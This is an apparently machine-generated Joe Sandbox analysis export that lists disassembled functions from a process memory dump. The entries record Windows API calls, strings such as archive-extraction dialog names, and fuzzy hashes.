Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: cae1c09cd04a25f2f0383ded004af85cf9ea2bb8d521121fd2ec03539dc84e34
Instruction ID: b180f11e8be8df8eae07acc65edc7fb32985c5b748abfb0b747b984bbf3061be
Opcode Fuzzy Hash: cae1c09cd04a25f2f0383ded004af85cf9ea2bb8d521121fd2ec03539dc84e34
Instruction Fuzzy Hash: DF112B736841287BDB209A78AC59FFB376CEB4A758F101021FB16F60C0C2B4DD829671

Function 00E1EE2D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00E1EE6C, 00E1EEA0
RENAMEDLG, xrefs: 00E1EE81

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 1ab361921b778d5728b242f3b5514c6982ba10aa7c10c47e200f0490486988c7
Instruction ID: ec012358b7ce1f5d5dd36cf6f8127ebe387b96d4bd71b2e2821a97ddb47bc75f
Opcode Fuzzy Hash: 1ab361921b778d5728b242f3b5514c6982ba10aa7c10c47e200f0490486988c7
Instruction Fuzzy Hash: ED01B17AA04304AFD7114F2AFC08AEB7FA4BB453A4F141026FD06B3370C2718899DBA0

Function 00E04957 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00E0495C

Part of subcall function 00E1FD1D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00E1FD29
Part of subcall function 00E1FD1D: ___delayLoadHelper2@8.DELAYIMP ref: 00E1FD4F

std::_Xinvalid_argument.LIBCPMT ref: 00E04967

Strings

string too long, xrefs: 00E04957
vector too long, xrefs: 00E04962

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$Helper2@8Load___delaystd::invalid_argument::invalid_argument
String ID: string too long$vector too long
API String ID: 2355824318-1617939282
Opcode ID: 858d68f8cc50f9e0d6676a35924d8c4539d59ad0a488a3c0259fa9dbe9b8837d
Instruction ID: d68ae00d4a693b39e5ec068fa42d553c92ada76389d0b2709237437cc86edcd7
Opcode Fuzzy Hash: 858d68f8cc50f9e0d6676a35924d8c4539d59ad0a488a3c0259fa9dbe9b8837d
Instruction Fuzzy Hash: 27F082F12003046B8724AE59FD4688BB7E9EFC5B50790252AEA45A3681D7B0B9808AF1

Function 00E2ABDA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00E2AC65
__alldvrm.LIBCMT ref: 00E2AE66
__alldvrm.LIBCMT ref: 00E2AE88

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 838d351d10c979b051735ecdd2ea4a95940ff434e8fe6276b15dd9b2de709c18
Instruction ID: cbce0e1299a19865d372de33ff6590e6deeaae3b64d852af9a3668193417dc72
Opcode Fuzzy Hash: 838d351d10c979b051735ecdd2ea4a95940ff434e8fe6276b15dd9b2de709c18
Instruction Fuzzy Hash: 9CA15A32A003A69FDB26CF18D8917AEFBE5EF11314F1D5179E485BB281C6388D82C752

Function 00E0B74D Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00E08D5C,?,?,?), ref: 00E0B7F3
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000800,?,00E08D5C,?,?), ref: 00E0B837
SetFileTime.KERNEL32(?,00E08AEC,?,00000000,?,00000800,?,00E08D5C,?,?,?,?,?,?,?,?), ref: 00E0B8B8
CloseHandle.KERNEL32(?,?,00000800,?,00E08D5C,?,?,?,?,?,?,?,?,?,?), ref: 00E0B8BF

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 2252a324d9aa21ffee5d5a1215ce76b3131afdc520ff29a49ae07078b8594c21
Instruction ID: 66a47bdde8208187054bc49b88c51193c8f6afb4f6262de802260e58dfd9df75
Opcode Fuzzy Hash: 2252a324d9aa21ffee5d5a1215ce76b3131afdc520ff29a49ae07078b8594c21
Instruction Fuzzy Hash: 0B41E130248381AAE725DF24DC55BDBBBE8AB80304F080A1EF5D1E31D0D774DA88DB62

Function 00E010E0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E0110B
_wcslen.LIBCMT ref: 00E01133
_wcslen.LIBCMT ref: 00E01162
_wcslen.LIBCMT ref: 00E01189

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: a0fd04bb246f717d283c2fad62184bcd901b739b7ea4f64f03700646e2f5d36d
Instruction ID: a02e8297becbf0e5e8743ca14b5f83d9333f4ebc362a87e9264fd3ed40725826
Opcode Fuzzy Hash: a0fd04bb246f717d283c2fad62184bcd901b739b7ea4f64f03700646e2f5d36d
Instruction Fuzzy Hash: DE4105B1A00625AFCB159FA89D099EF7BB8EF40310F001069FD05F7285DA70AD898BE1

Function 00E0851F Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E08532
_wcslen.LIBCMT ref: 00E08558
_wcslen.LIBCMT ref: 00E085EF
_wcslen.LIBCMT ref: 00E08657

Part of subcall function 00E0B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00E0B991

Part of subcall function 00E0B41F: RemoveDirectoryW.KERNEL32(?,?,?,00E08649,?), ref: 00E0B430
Part of subcall function 00E0B41F: RemoveDirectoryW.KERNEL32(?,?,?,00000800,?,00E08649,?), ref: 00E0B45E

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen$DirectoryRemove$CloseFind
String ID:
API String ID: 973666142-0
Opcode ID: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction ID: f16a2728d51bb974f6ee41f12d06ab21aaa9ce8a4063cedd4333c5702c2a26ef
Opcode Fuzzy Hash: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction Fuzzy Hash: 6A31B2B19002249ACF21AF649D41AEA33A9AF44384F056495F9C5B71C9EF71DEC4CB90

Function 00E2DB48 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00E2A871,?,00000000,?,00000001,?,?,00000001,00E2A871,?), ref: 00E2DB95
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00E2DC1E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00E280B1,?), ref: 00E2DC30
__freea.LIBCMT ref: 00E2DC39

Part of subcall function 00E2A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00E2DBEC,00000000,?,00E280B1,?,00000008,?,00E2A871,?,?,?), ref: 00E2A830

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 23d3ba69a7dbed8364f19aeea96033be4271c8d8cc7bd614d91d8c85d37a3fdb
Instruction ID: ca01a94fb661bb96de5601fc18023e0c6768bf0fc339bf36cc1454e9146f8ebb
Opcode Fuzzy Hash: 23d3ba69a7dbed8364f19aeea96033be4271c8d8cc7bd614d91d8c85d37a3fdb
Instruction Fuzzy Hash: 2831CE72A0022AAFDF25DF64EC46DAE7BA5EF40314F054228FD04E6190E735DD90CB90

Function 00E1B673 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00E1B676
GetDeviceCaps.GDI32(00000000,00000058), ref: 00E1B685
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E1B693
ReleaseDC.USER32(00000000,00000000), ref: 00E1B6A1

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 16b25aff7069596bb49da7d2161e5858feba535d3b7fed81fc6850ee8769ae9b
Instruction ID: 5a17ce30ea164398b7df6547e8609b8d3ebc478faa3100b0312b39be158b606c
Opcode Fuzzy Hash: 16b25aff7069596bb49da7d2161e5858feba535d3b7fed81fc6850ee8769ae9b
Instruction Fuzzy Hash: 76E0E636686F606FD7501B62BC1DB9B3B54AB16762F080015F601B6190CBF444498FD1

Function 00E1B81C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00E1B6A9: GetDC.USER32(00000000), ref: 00E1B6AD
Part of subcall function 00E1B6A9: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E1B6B8
Part of subcall function 00E1B6A9: ReleaseDC.USER32(00000000,00000000), ref: 00E1B6C3

GetObjectW.GDI32(?,00000018,?), ref: 00E1B84C

Part of subcall function 00E1BADE: GetDC.USER32(00000000), ref: 00E1BAE7
Part of subcall function 00E1BADE: GetObjectW.GDI32(?,00000018,?), ref: 00E1BB16
Part of subcall function 00E1BADE: ReleaseDC.USER32(00000000,?), ref: 00E1BBAE

Strings

(, xrefs: 00E1B9BF

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 6505f499d297afb3178715ffc5351fb571c4dfd82483df576420e4989a1d6f24
Instruction ID: 593f9af9bed7b286cd6ba0287b992ae2390a68c142302ca9e9f2923d45449600
Opcode Fuzzy Hash: 6505f499d297afb3178715ffc5351fb571c4dfd82483df576420e4989a1d6f24
Instruction Fuzzy Hash: F291F471604354AFD714DF25C848A6BBBE8FFC9704F00491EF99AE3260DB71A945CB52

Function 00E2C378 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E2C4E4

Part of subcall function 00E251E6: IsProcessorFeaturePresent.KERNEL32(00000017,00E251B8,00000050,00E34ADC,?,00E0EA30,00000004,00E43070,?,?,00E251C5,00000000,00000000,00000000,00000000,00000000), ref: 00E251E8
Part of subcall function 00E251E6: GetCurrentProcess.KERNEL32(C0000417,00E34ADC,00000050,00E43070), ref: 00E2520A
Part of subcall function 00E251E6: TerminateProcess.KERNEL32(00000000), ref: 00E25211

Strings

., xrefs: 00E2C69B
*?, xrefs: 00E2C3BB

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 972d5fe56fca4318eb32e817472c9c256f93d190f7b8c306b3a3f3d0056a7248
Instruction ID: 573ca9db18f813ecb8c2d051af06c7708f17bee2362a2aa116f7b78832811fe4
Opcode Fuzzy Hash: 972d5fe56fca4318eb32e817472c9c256f93d190f7b8c306b3a3f3d0056a7248
Instruction Fuzzy Hash: 00519F71E00229AFDF14DFA8D881ABEBBF5FF58314F24916AE854F7341E6319A018B50

Function 00E080BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00E080C3

Part of subcall function 00E11907: _wcslen.LIBCMT ref: 00E1190D

Part of subcall function 00E0B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00E0B991

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00E08262

Part of subcall function 00E0B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B8FA
Part of subcall function 00E0B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00E0B5B5,?,?,?,00E0B405,?,00000001,00000000,?,?), ref: 00E0B92B

Strings

:, xrefs: 00E08134

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 61454969e34d5f9a78d97979ee1fa54c806f73f29935d9458a95c2d01c72c296
Instruction ID: d6137065c3397e4dcb2f8795d595a6789c4a531d784475d1d2a45ab4cf7905e8
Opcode Fuzzy Hash: 61454969e34d5f9a78d97979ee1fa54c806f73f29935d9458a95c2d01c72c296
Instruction Fuzzy Hash: 11516071900618AADB24EB60CD5AEEE73BCAF45300F0450A5F645B20D2DB745FC9CF61

Function 00E1C67E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E1C6D3
_wcslen.LIBCMT ref: 00E1C6EE

Strings

}, xrefs: 00E1C6C6

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 93890d8048392a94c8d1a1e032578f264f5e7c883be70c89e78637e51e949253
Instruction ID: 22545793cc2a9fe0ce2f9588b30cd103e273700b86b7d4b5782472fcef4a0f8b
Opcode Fuzzy Hash: 93890d8048392a94c8d1a1e032578f264f5e7c883be70c89e78637e51e949253
Instruction Fuzzy Hash: A6216532A443165AD330EB70D801AABB3ECDF80754F20242BF540E3181EBE0EDC887A2

Function 00E1069C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00E10627: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00E10646
Part of subcall function 00E10627: GetProcAddress.KERNEL32(00E4A1F0,CryptUnprotectMemory), ref: 00E10656

GetCurrentProcessId.KERNEL32(?,00000200,?,00E10697), ref: 00E1072A

Strings

CryptProtectMemory failed, xrefs: 00E106E1
CryptUnprotectMemory failed, xrefs: 00E10722

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 2194852bfd854205578d65d9ddd4c18782bd042fc69935eb8601fd5eaf628ec6
Instruction ID: fa03e195a9e35be84c1eb74dbab322ae7284967f78c39069a7942964b1a7e53b
Opcode Fuzzy Hash: 2194852bfd854205578d65d9ddd4c18782bd042fc69935eb8601fd5eaf628ec6
Instruction Fuzzy Hash: 31113371A01268AFDB156F219C45AAE3B54EF40778F055116FC01BB2D1C7B1BDC1CAD5

Function 00E0CDC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E0CDE7

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

Strings

%c:\, xrefs: 00E0CDDD

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: b32a6e913579c3e7526e09dee6d98dde7f304fd2bf51019584d8ce1e188635de
Instruction ID: 37e3a796c406291011d42b70dcfbb8be18f7d4d8481ba1db8db83f94a762d51f
Opcode Fuzzy Hash: b32a6e913579c3e7526e09dee6d98dde7f304fd2bf51019584d8ce1e188635de
Instruction Fuzzy Hash: F401F96310432175D6206B79DC46D7BA7ECDFE5370B60651AF494F60C1EA20D481C2A1

Function 00E20D7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00E20DBD
